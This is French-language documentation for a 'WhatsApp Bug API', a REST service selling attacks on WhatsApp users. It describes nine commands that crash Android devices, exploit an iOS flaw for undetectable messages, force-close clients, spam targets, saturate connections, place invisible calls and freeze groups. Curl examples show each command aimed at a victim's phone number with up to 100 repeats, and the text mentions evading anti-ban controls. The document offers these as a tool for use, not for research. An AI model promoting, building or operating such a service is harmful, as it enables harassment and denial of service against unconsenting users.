WhatsApp Bug API · Documentation

Une API.
Neuf commandes.
Zéro friction.

Documentation de l'interface REST pour la gestion de sessions WhatsApp, l'exécution de commandes spécialisées et le contrôle anti-abus.

Démarrer → Voir les endpoints
9
Commandes
8
Endpoints
50/j
Quota défaut
REST
JSON · HTTP

Un seul header. Un seul token.

Chaque requête authentifiée transporte votre token dans le header HTTP x-api-token. Pas de OAuth, pas de cookies — juste une chaîne.

Token utilisateur

Généré gratuitement via POST /v1/token/generate. À garder secret.

curl -H "x-api-token: tok_xxxxxxxxxx" \ https://api.example.com/v1/status

Format de réponse

Toutes les réponses sont en JSON avec un champ success en racine.

{ "success": true, "data": { ... } }

De zéro à votre première commande
en quatre étapes.

Générez votre token

Appelez POST /v1/token/generate sans authentification. Vous recevez un token unique et votre quota journalier.

Connectez un numéro WhatsApp

POST /v1/connect avec votre numéro retourne un code de jumelage valable 60 secondes.

Liez l'appareil

WhatsApp → Paramètres → Appareils liés → Lier un appareil → Lier avec un numéro. Entrez le code.

Exécutez vos commandes

Une seule route, POST /v1/command, accepte les 9 types de commandes avec leur cible.

Neuf actions. Une route.

Toutes accessibles via POST /v1/command avec le champ type.

001 / 09

xandroid

Crash ciblé d'un appareil Android via un payload spécifique.

number
002 / 09

iosinvisible

Envoi de messages indétectables exploitant une faille iOS.

numberrepeat
003 / 09

oneshot

Crash instantané du client WhatsApp cible.

numberrepeat
004 / 09

spam

Diffusion répétée de messages à haute fréquence.

numberrepeat
005 / 09

close

Fermeture forcée du client WhatsApp distant.

numberrepeat
006 / 09

forcedelay

Saturation des canaux de connexion entrants.

numberrepeat
007 / 09

invcall

Émission d'un appel invisible côté destinataire.

numberrepeat
008 / 09

xgc

Bug ciblé sur un groupe WhatsApp par son JID.

groupJidrepeat
009 / 09

gcfrz

Gel complet d'un groupe WhatsApp.

groupJidrepeat

↔ Glissez · Repeat max 100 · Défaut 30

Endpoints publics.

Huit routes couvrent l'intégralité du flux : génération de token, gestion de sessions WhatsApp, exécution de commandes et historique.

GET /health État du service, version, sessions actives +
Description

Vérifie que l'API est opérationnelle. Aucun token requis.

Tags
PUBLIC
Réponse 200
{
  "status": "ok",
  "version": "1.0.0",
  "timestamp": "2026-06-19T12:00:00Z",
  "maintenance": false,
  "activeSessions": 5
}
POST /v1/token/generate Génère un nouveau token utilisateur +
Body
labelÉtiquette libre (optionnel)
owner_nameNom du propriétaire (optionnel)
Tags
PUBLIC
Exemple
curl -X POST https://api.example.com/v1/token/generate \
  -H "Content-Type: application/json" \
  -d '{"label":"Mon script","owner_name":"Jean"}'
Réponse 201
{
  "success": true,
  "token": "tok_a1b2c3d4...",
  "daily_limit": 50,
  "expires_at": null
}
GET /v1/status État du token, quota, sessions WhatsApp +
Description

Retourne l'état complet de votre token : usage du jour, quota restant, statut anti-ban et appareils connectés.

Tags
x-api-token
Réponse 200
{
  "success": true,
  "token": { "label": "…", "active": true },
  "usage": {
    "today": 12,
    "limit": 50,
    "remaining": 38
  },
  "anti_ban": { "blocked": false },
  "whatsapp": {
    "connected": true,
    "devices": [ … ]
  }
}
POST /v1/connect Connecte un numéro et renvoie un code de jumelage +
Body
numberREQUISCode pays + numéro (ex: 33612345678)
Tags
x-api-token
Exemple
curl -X POST https://api.example.com/v1/connect \
  -H "x-api-token: tok_xxx" \
  -H "Content-Type: application/json" \
  -d '{"number":"33612345678"}'
Réponse
{
  "success": true,
  "pairingCode": "ABCD-1234",
  "expiresIn": 60
}
GET /v1/pairing-status Vérifie si le jumelage est finalisé +
Query
numberREQUISNuméro à vérifier
Tags
x-api-token
Réponse
{
  "success": true,
  "status": "connected",
  "jid": "33612345678@s.whatsapp.net"
}
DELETE /v1/disconnect Déconnecte un numéro WhatsApp +
Body
numberREQUISNuméro à déconnecter
Tags
x-api-token
Exemple
curl -X DELETE https://api.example.com/v1/disconnect \
  -H "x-api-token: tok_xxx" \
  -d '{"number":"33612345678"}'
POST /v1/command Exécute une commande sur la cible +
Description

Route unique pour toutes les commandes. Vérifie le quota, l'anti-ban et la session active avant exécution.

Body
typeREQUISNom de la commande
numberCible individuelle
groupJidJID de groupe (xgc, gcfrz)
repeatRépétitions (défaut 30, max 100)
Tags
x-api-token
Exemple
curl -X POST https://api.example.com/v1/command \
  -H "x-api-token: tok_xxx" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "xandroid",
    "number": "33612345678",
    "repeat": 30
  }'
Réponse
{
  "success": true,
  "command": "xandroid",
  "target": "33612345678",
  "repeat": 30,
  "quota": { "used_today": 13, "remaining": 37 }
}
GET /v1/history Historique paginé des commandes du token +
Query
limitNombre d'entrées (défaut 50)
offsetDécalage de pagination
Tags
x-api-token
Réponse
{
  "success": true,
  "total": 142,
  "logs": [
    {
      "command_type": "xandroid",
      "target": "33612345678",
      "status": "success",
      "used_at": "2026-06-19T11:42:18Z"
    }
  ]
}
GET /v1/commands Liste les commandes disponibles et leurs paramètres +
Description

Retourne le catalogue complet des 9 commandes avec leur description et leurs paramètres requis.

Tags
PUBLIC
Réponse
{
  "success": true,
  "commands": [
    { "name": "xandroid", "params": ["number"] },
    { "name": "spam", "params": ["number", "repeat"] },
    // …
  ]
}

Codes HTTP.

400
Paramètres manquants ou invalides.
401
Token absent, invalide ou désactivé.
429
Quota journalier atteint ou anti-ban actif.
503
Aucune session WhatsApp connectée, ou mode maintenance.
500
Erreur serveur interne.